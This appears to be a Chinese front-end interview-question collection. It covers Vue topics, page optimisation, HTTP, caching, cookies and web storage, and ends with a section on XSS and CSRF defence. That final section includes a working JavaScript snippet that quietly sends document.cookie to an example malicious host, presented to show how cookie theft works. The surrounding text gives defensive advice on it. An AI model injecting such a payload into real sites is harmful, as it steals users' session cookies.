vue组件通信

非父子组件间通信,Vue 有提供 Vuex,以状态共享方式来实现同信,对于这一点,应该注意考虑平衡,从整体设计角度去考量,确保引入她的必要。

父传子: this.$refs.xxx
子传父: this.$parent.xxx

还可以通过$emit方法出发一个消息,然后$on接收这个消息

vue中组件使用过程中的难点

https://blog.csdn.net/weixin_44114310/article/details/91355505
vue组件使用过程中的注意点:https://blog.csdn.net/xiaojinguniang/article/details/87813088

你如何评价vue

框架能够让我们跑的更快,但只有了解原生的JS才能让我们走的更远。

vue专注于MVVM中的viewModel层,通过双向数据绑定,把view层和Model层连接了起来。核心是用数据来驱动DOM。这种把directive和component混在一起的设计有一个非常大的问题,它导致了很多开发者滥用Directive(指令),出现了到处都是指令的情况。

优点:
1.不需要setState,直接修改数据就能刷新页面,而且不需要react的shouldComponentUpdate就能实现最高效的渲染路径。
2.渐进式的开发模式,模版方式->组件方式->路由整合->数据流整合->服务器渲染。上手的曲线更加平滑简单,而且不像react一上来就是组件全家桶
3.v-model给开发后台管理系统带来极大的便利,反观用react开发后台就是个杯具
4.html,css与js比react更优雅地结合在一个文件上。

缺点:指令太多,自带模板扩展不方便;
组件的属性传递没有react的直观和明显

页面性能优化措施(vue优化措施)

https://blog.csdn.net/qq_39453402/article/details/107813704
一.编码优化
1. 下里将所有的数据都放在data中,data中的教据都会增加getter和setter,会收集对应的watcher
2. vue在v-for时给每项元素绑定事件需要用事件代理
3. spa页面采用keep-alive缓存组件
4. 拆分组件(提高复用性.增加代码的可维护性,减少不必要的渲染)
5. vif当值为false时内部指令不会执行,具有阻断功能,很多惆况下使用v-if代v.show
6. key保证唯一性(默认vue会采用就地复用策略}
7.object.freeze 冻结教据(就不会getter和setter)
8. 合理使用路由懒加载、异步组件
9. 尽量采用runtime运行时版本
10. 教据持久化的问题(防抖、节流)

二.Vue加载性能优化
1.使用第三方框架,按照按需加载导入
2.滚动可视化区域懒加载
3.图片懒加载

三.用户体验
1.app-skeleton 骨架屏 / app-shell app 壳
2.单页面切换动画

四.SEO优化
1.预渲染插件 prerender-spa-plugin
2.服务端渲染 ssr

五.打包优化
1.使用 cdn 的方式加载第三方模块
2.多线程打包 happypack
3.splitChunks 抽离公共文件
4.sour ceMap 生成

六.缓存/压缩
1.客户端缓存 or 服务端缓存
2.服务端 gzip 压缩

说说你对MVVM的理解

Model层代表数据模型,可以在Model中定义数据修改和操作业务逻辑;
view 代表UI组件。负责将数据模型转换成UI展现出来
ViewModel 是一个同步View和Model的对象

用户操作view层,view数据变化会同步到Model,Model数据变化会立即反应到view中。viewModel通过双向数据绑定把view层和Model层连接了起来

为什么选择vue

reactjs 的全家桶方式,实在太过强势,而自己定义的 JSX 规范,揉和在 JS 的组件框架里,导致如果后期发生页面改版工作,工作量将会巨大。

vue的核心:数据绑定 和 视图组件。

  • Vue的数据驱动:数据改变驱动了视图的自动更新,传统的做法你得手动改变DOM来改变视图,vuejs只需要改变数据,就会自动改变视图,一个字:爽。再也不用你去操心DOM的更新了,这就是MVVM思想的实现。

  • 视图组件化:把整一个网页的拆分成一个个区块,每个区块我们可以看作成一个组件。网页由多个组件拼接或者嵌套组成

vue中mixin与extend区别

全局注册混合对象,会影响到所有之后创建的vue实例,而Vue.extend是对单个实例进行扩展。

  • mixin 混合对象(组件复用)

同名钩子函数(bind,inserted,update,componentUpdate,unbind)将混合为一个数组,因此都将被调用,混合对象的钩子将在组件自身钩子之前调用

methodscomponentsdirectives将被混为同一个对象。两个对象的键名(方法名,属性名)冲突时,取组件(而非mixin)对象的键值对

vue生命周期

https://blog.csdn.net/zhangvalue/article/details/108842561
Vue 的生命周期总共分为8个阶段:创建前/后,载入前/后,更新前/后,销毁前/后。

1、beforeCreate(创建前)

表示实例完全被创建出来之前,vue 实例的挂载元素$el和数据对象 data 都为 undefined,还未初始化。

2、created(创建后)

数据对象 data 已存在,可以调用 methods 中的方法,操作 data 中的数据,但 dom 未生成,$el 未存在 。

3、beforeMount(挂载前)

vue 实例的 $el 和 data 都已初始化,挂载之前为虚拟的 dom节点,模板已经在内存中编辑完成了,但是尚未把模板渲染到页面中。data.message 未替换。

4、mounted(挂载后)

vue 实例挂载完成,data.message 成功渲染。内存中的模板,已经真实的挂载到了页面中,用户已经可以看到渲染好的页面了。实例创建期间的最后一个生命周期函数,当执行完 mounted 就表示,实例已经被完全创建好了,DOM 渲染在 mounted 中就已经完成了。

5、beforeUpdate(更新前)

当 data 变化时,会触发beforeUpdate方法 。data 数据尚未和最新的数据保持同步。

6、updated(更新后)

当 data 变化时,会触发 updated 方法。页面和 data 数据已经保持同步了。

7、beforeDestory(销毁前)

组件销毁之前调用 ,在这一步,实例仍然完全可用。

8、destoryed(销毁后)

组件销毁之后调用,对 data 的改变不会再触发周期函数,vue 实例已解除事件监听和 dom绑定,但 dom 结构依然存在。

具体详细可以参考:https://segmentfault.com/a/1190000011381906

双向绑定和单向数据绑定的优缺点

只有 UI控件 才存在双向,非 UI控件 只有单向。
单向绑定的优点是可以带来单向数据流,这样的好处是流动方向可以跟踪,流动单一,没有状态, 这使得单向绑定能够避免状态管理在复杂度上升时产生的各种问题, 程序的调试会变得相对容易。单向数据流更利于状态的维护及优化,更利于组件之间的通信,更利于组件的复用

  • 双向数据流的优点:

无需进行和单向数据绑定的那些CRUD(Create,Retrieve,Update,Delete)操作;
双向绑定在一些需要实时反应用户输入的场合会非常方便
用户在视图上的修改会自动同步到数据模型中去,数据模型中值的变化也会立刻同步到视图中去;

  • 缺点:

双向数据流是自动管理状态的, 但是在实际应用中会有很多不得不手动处理状态变化的逻辑, 使得程序复杂度上升
无法追踪局部状态的变化
双向数据流,值和UI绑定,但由于各种数据相互依赖相互绑定,导致数据问题的源头难以被跟踪到

Vue 虽然通过 v-model 支持双向绑定,但是如果引入了类似redux的vuex,就无法同时使用 v-model。

双绑跟单向绑定之间的差异只在于,双向绑定把数据变更的操作隐藏在框架内部,调用者并不会直接感知。




也就是说,你只需要在组件中声明一个name为value的props,并且通过触发input事件传入一个值,就能修改这个value。

四、计算机网络

首屏优化

再回到前端渲染遇到首屏渲染问题,除了同构就没有其它解法了吗?总结以下可以通过以下三步解决

分拆打包
现在流行的路由库如 react-router 对分拆打包都有很好的支持。可以按照页面对包进行分拆,并在页面切换时加上一些 loading 和 transition 效果。

1.首屏内容最好做到静态缓存
2.首屏内联css渲染
3.图片懒加载
4.服务端渲染,首屏渲染速度更快(重点),无需等待js文件下载执行的过程
5.交互优化(使用加载占位器,在白屏无法避免的时候,为了解决等待加载过程中白屏或者界面闪烁)
6.图片尺寸大小控制

前端渲染的优势

  • 局部刷新。无需每次都进行完整页面请求
  • 懒加载。如在页面初始时只加载可视区域内的数据,滚动后rp加载其它数据,可以通过 react-lazyload 实现
  • 富交互。使用 JS 实现各种酷炫效果
  • 节约服务器成本。省电省钱,JS 支持 CDN 部署,且部署极其简单,只需要服务器支持静态文件即可
  • 天生的关注分离设计。服务器来访问数据库提供接口,JS 只关注数据获取和展现
  • JS 一次学习,到处使用。可以用来开发 Web、Serve、Mobile、Desktop 类型的应用

服务端渲染的优势

  • 更好的 SEO,由于搜索引擎爬虫抓取工具可以直接查看完全渲染的页面。

  • 服务端渲染不需要先下载一堆 js 和 css 后才能看到页面(首屏性能)

  • 服务端渲染不用关心浏览器兼容性问题(随意浏览器发展,这个优点逐渐消失)

  • 对于电量不给力的手机或平板,减少在客户端的电量消耗很重要

计算机网络各层

通俗易懂的讲计算机网络5层结构

物理层:将各个物理设备连接起来,规定了网络电气特性,负责传送0和1的信号
链路层:确定了物理层数据分组方式,以帧为单位,每一帧包含了Head(18字节)和Data,Head中包含MAC地址等信息,在子网中以广播的形式确定接收方,若不在同一子网,则为接收端网关的MAC地址
网络层:建立主机到主机的通信,使用IP地址,以路由方式确定接收设备所在子网,以IP数据包为单位,包含Head(20-60字节)和Data,Head包含了源IP、目的IP等信息,IP数据包最大为1500字节,多出将被分组发送
传输层:建立端口到端口的通信,使用TCP或者UDP传输数据,数据包也包含Head和Data,Head中包含了标志位,源端口、目的端口等信息
应用层:规定应用程序的数据格式,应用层收到传输层的数据,根据格式使用不同的应用程序进行解读

为什么要有同源策略

提高安全性,防止获取窃取不同源的资源实现非法操作(例如在网站中嵌入一个iframe,里面是淘宝的登陆页面,如果没有同源策略,用户登录后就可以通过操作iframe获取cookie等身份校验信息从而实现非法操作)

GET,POST,PUT,Delete

  1. GET请求会向数据库获取信息,只是用来查询数据,不会修改,增加数据。使用URL传递参数,对所发送的数量有限制,一般在2000字符
  2. POST向服务器发送数据,会改变数据的种类等资源,就像insert操作一样,会创建新的内容,大小一般没有限制,POST安全性高,POST不会被缓存
  3. PUT请求就像数据库的update操作一样,用来修改数据内容,不会增加数据种类
  4. Delete用来删除操作

GET和POST的区别

  1. GET使用URL或Cookie传参,而POST将数据放在BODY中,这个是因为HTTP协议用法的约定。并非它们的本身区别。
  2. GET方式提交的数据有长度限制,则POST的数据则可以非常大,这个是因为它们使用的操作系统和浏览器设置的不同引起的区别。也不是GET和POST本身的区别。
  3. POST比GET安全,因为数据在地址栏上不可见,这个说法没毛病,但依然不是GET和POST本身的区别。

GET和POST最大的区别主要是GET请求是幂等性的,POST请求不是。(幂等性:对同一URL的多个请求应该返回同样的结果。)因为get请求是幂等的,在网络不好的隧道中会尝试重试。如果用get请求增数据,会有重复操作的风险,而这种重复操作可能会导致副作用

缓存,存储相关(cookie,web storage和session)

一、Cookie相关
h5之前,存储主要是用cookies。cookies缺点有在请求头上带着数据,大小是4k之内。主Domain污染。

Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]

如果想让cookie存在一段时间,就要为expires属性设置为未来的一个用毫秒数表示的过期日期或时间点,expires默认为设置的expires的当前时间。现在已经被max-age属性所取代,max-age用秒来设置cookie的生存期。如果max-age为0,则表示删除该cookie。

cookie的属性:

  • HttpOnly属性告之浏览器该 cookie 绝不能通过 JavaScript 的 document.cookie 属性访问。
  • domain属性可以使多个web服务器共享cookie。
  • 只有path属性匹配向服务器发送的路径,Cookie 才会发送。必须是绝对路径
  • secure属性用来指定Cookie只能在加密协议HTTPS下发送到服务器。
  • max-age属性用来指定Cookie有效期
  • expires属性用于指定Cookie过期时间。它的格式采用Date.toUTCString()的格式。

浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享Cookie。

cookie优点:
1.可以解决HTTP无状态的问题,与服务器进行交互
缺点:
1.数量和长度限制,每个域名最多20条,每个cookie长度不能超过4kb
2.安全性问题。容易被人拦截
3.浪费带宽,每次请求新页面,cookie都会被发送过去

cookie和session区别
https://blog.csdn.net/qichangjian/article/details/88023494
1.cookie数据存放在客户的浏览器上,session数据放在服务器上。
2.session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能。考虑到减轻服务器性能方面,应当使用COOKIE。

sessionStorage是当前对话的缓存,浏览器窗口关闭即消失,localStorage持久存在,除非清除浏览器缓存。

页面缓存原理

页面缓存状态是由http header决定的,一个浏览器请求信息,一个是服务器响应信息。主要包括Pragma: no-cache、Cache-Control、 Expires、 Last-Modified、If-Modified-Since。

浏览器缓存相关(强缓存和协商缓存)

1.浏览器输入 url 之后敲下回车,刷新 F5 与强制刷新(Ctrl + F5),又有什么区别?

实际上浏览器输入 url 之后敲下回车就是先看本地 cache-control、expires 的情况,刷新(F5)就是忽略先看本地 cache-control、expires 的情况,带上条件 If-None-Match、If-Modified-Since,强制刷新(Ctrl + F5)就是不带条件的访问。

2.cache-control(强缓存),etag和last-modified(协商缓存)

如果比较粗的说先后顺序应该是这样:

  • Cache-Control —— 请求服务器之前
  • Expires —— 请求服务器之前
  • If-None-Match (Etag) —— 请求服务器
  • If-Modified-Since (Last-Modified) —— 请求服务器

需要注意的是 如果同时有 etag 和 last-modified 存在,在发送请求的时候会一次性的发送给服务器,没有优先级,服务器会比较这两个信息.

如果expires和cache-control:max-age同时存在,expires会被cache-control 覆盖。

其中Expires和cache-control属于强缓存,last-modified和etag属于协商缓存
强缓存与协商缓存区别:强缓存不发请求到服务器,协商缓存会发请求到服务器。

h5存储方式 (localstorage,sessionstorage)

1.本地存储localstorage
存储方式:以键值对(Key-Value)的方式存储,永久存储,永不失效,除非手动删除。
大小:每个域名5M
存储的内容:数组,图片,json,样式,脚本。。。(只要是能序列化成字符串的内容都可以存储)
[常用的API:]
getItem //取记录
setIten//设置记录
removeItem//移除记录
key//取key所对应的值
clear//清除记录

2.本地存储sessionstorage
HTML5 的本地存储 API 中的 localStorage 与 sessionStorage 在使用方法上是相同的,区别在于 sessionStorage 在关闭页面后即被清空,而 localStorage 则会一直保存。

3.离线缓存(application cache)
本地缓存应用所需的文件
http://www.mamicode.com/info-detail-1662487.html

Application Cache的三个优势:

① 离线浏览

② 提升页面载入速度

③ 降低服务器压力
4.Web SQL
关系数据库,通过SQL语句访问

Web SQL 数据库 API 并不是 HTML5 规范的一部分,但是它是一个独立的规范,引入了一组使用 SQL 操作客户端数据库的 APIs。

支持情况:Web SQL 数据库可以在最新版的 Safari, Chrome 和 Opera 浏览器中工作。

核心方法:
①openDatabase:这个方法使用现有的数据库或者新建的数据库创建一个数据库对象。
②transaction:这个方法让我们能够控制一个事务,以及基于这种情况执行提交或者回滚。
③executeSql:这个方法用于执行实际的 SQL 查询。
5.IndexedDB
索引数据库 (IndexedDB) API(作为 HTML5 的一部分)对创建具有丰富本地存储数据的数据密集型的离线 HTML5 Web 应用程序很有用。同时它还有助于本地缓存数据,使传统在线 Web 应用程序(比如移动 Web 应用程序)能够更快地运行和响应。

从输入URL到页面展现,发生了什么(HTTP请求的过程)

HTTP是一个基于请求与响应,无状态的,应用层的协议,常基于TCP/IP协议传输数据。

1.域名解析,查找缓存

  • 查找浏览器缓存(DNS缓存)
  • 查找操作系统缓存(如果浏览器缓存没有,浏览器会从hosts文件查找是否有DNS信息)
  • 查找路由器缓存
  • 查找ISP缓存

2.浏览器获得对应的ip地址后,浏览器与远程Web服务器通过TCP三次握手协商来建立一个TCP/IP连接。
3.TCP/IP连接建立起来后,浏览器就可以向服务器发送HTTP请求
4.服务器处理请求,返回资源(MVC设计模式)
5.浏览器处理(加载,解析,渲染)

  • HTML页面加载顺序从上而下
  • 解析文档为有意义的结构,DOM树;解析css文件为样式表对象
  • 渲染。将DOM树进行可视化表示

6.绘制网页

  • 浏览器根据HTML和CSS计算得到渲染数,最终绘制到屏幕上

一个完整HTTP请求的过程为:
DNS Resolving -> TCP handshake -> HTTP Request -> Server -> HTTP Response -> TCP shutdown

http2.0和https

与HTTP/1相比,主要区别包括

  • HTTP/2采用二进制格式而非文本格式(二进制协议解析起来更高效)
  • HTTP/2是完全多路复用的,即一个TCP连接上同时跑多个HTTP请求
  • 使用报头压缩,HTTP/2降低了开销
  • HTTP/2让服务器可以将响应主动“推送”到客户端缓存中,支持服务端推送(就是服务器可以对一个客户端请求发送多个响应)

HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,TLS/SSL中使用 了非对称加密,对称加密以及HASH算法。比http协议安全。

  • HTTPS的工作原理

HTTPS 在传输数据之前需要客户端(浏览器)与服务端(网站)之间进行一次握手,在握手过程中将确立双方加密传输数据的密码信息

  • 什么是keep-alive模式 (持久连接,连接重用)

keep-alive使客户端到服务端的连接持久有效,当出现对服务器的后继请求时,keep-alive功能避免了建立或者重新连接

不需要重新建立tcp的三次握手,就是说不释放连接

http1.0默认关闭,http1.1默认启用

优点:更高效,性能更高。因为避免了建立/释放连接的开销

3.http1.0和http1.1区别:

  • 缓存处理,在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入更多缓存控制策略,例如Entity tag,If-Match,If-None-Match等
  • Http1.1支持长连接和请求的流水线(pipeline)处理,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟,默认开启Connection:keep-alive

http请求方式

https://www.cnblogs.com/weibanggang/p/9454581.html(HTTP工作原理、GET与POST、请求返回状态码)

页面渲染过程

jianshu.com/p/b6b42fd3f80e

XSS和CSRF 防御

XSS和CSRF都属于跨站攻击,XSS是实现CSRF诸多途径中的一条,但不是唯一一条

xss的本质是让对方浏览器执行你插入的js ,来获取cookie等信息;csrf是借用用户的身份,向服务器发送请求

XSS分为存储型和反射型:

  • 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等
  • 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS

XSS防范:

1)客户端校验用户输入信息,只允许输入合法的值,其他一概过滤掉,防止客户端输入恶意的js代码被植入到HTML代码中,使得js代码得以执行

  • 移除用户上传的DOM属性,如onerror等
  • 移除用户上传的style节点,script节点,iframe节点等
    2)对用户输入的代码标签进行转换(html encode)
    3)对url中的参数进行过滤
    4)对动态输出到页面的内容进行HTML编码
    5)服务端对敏感的Cookie设置 httpOnly属性,使js脚本不能读取到cookie
  1. CSP 即是 Content Security Policy
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

目前很多浏览器都会自身对用户的输入进行判断,检测是否存在攻击字符,比如你上述提到的

你可能感兴趣的:(前端面试问题集合)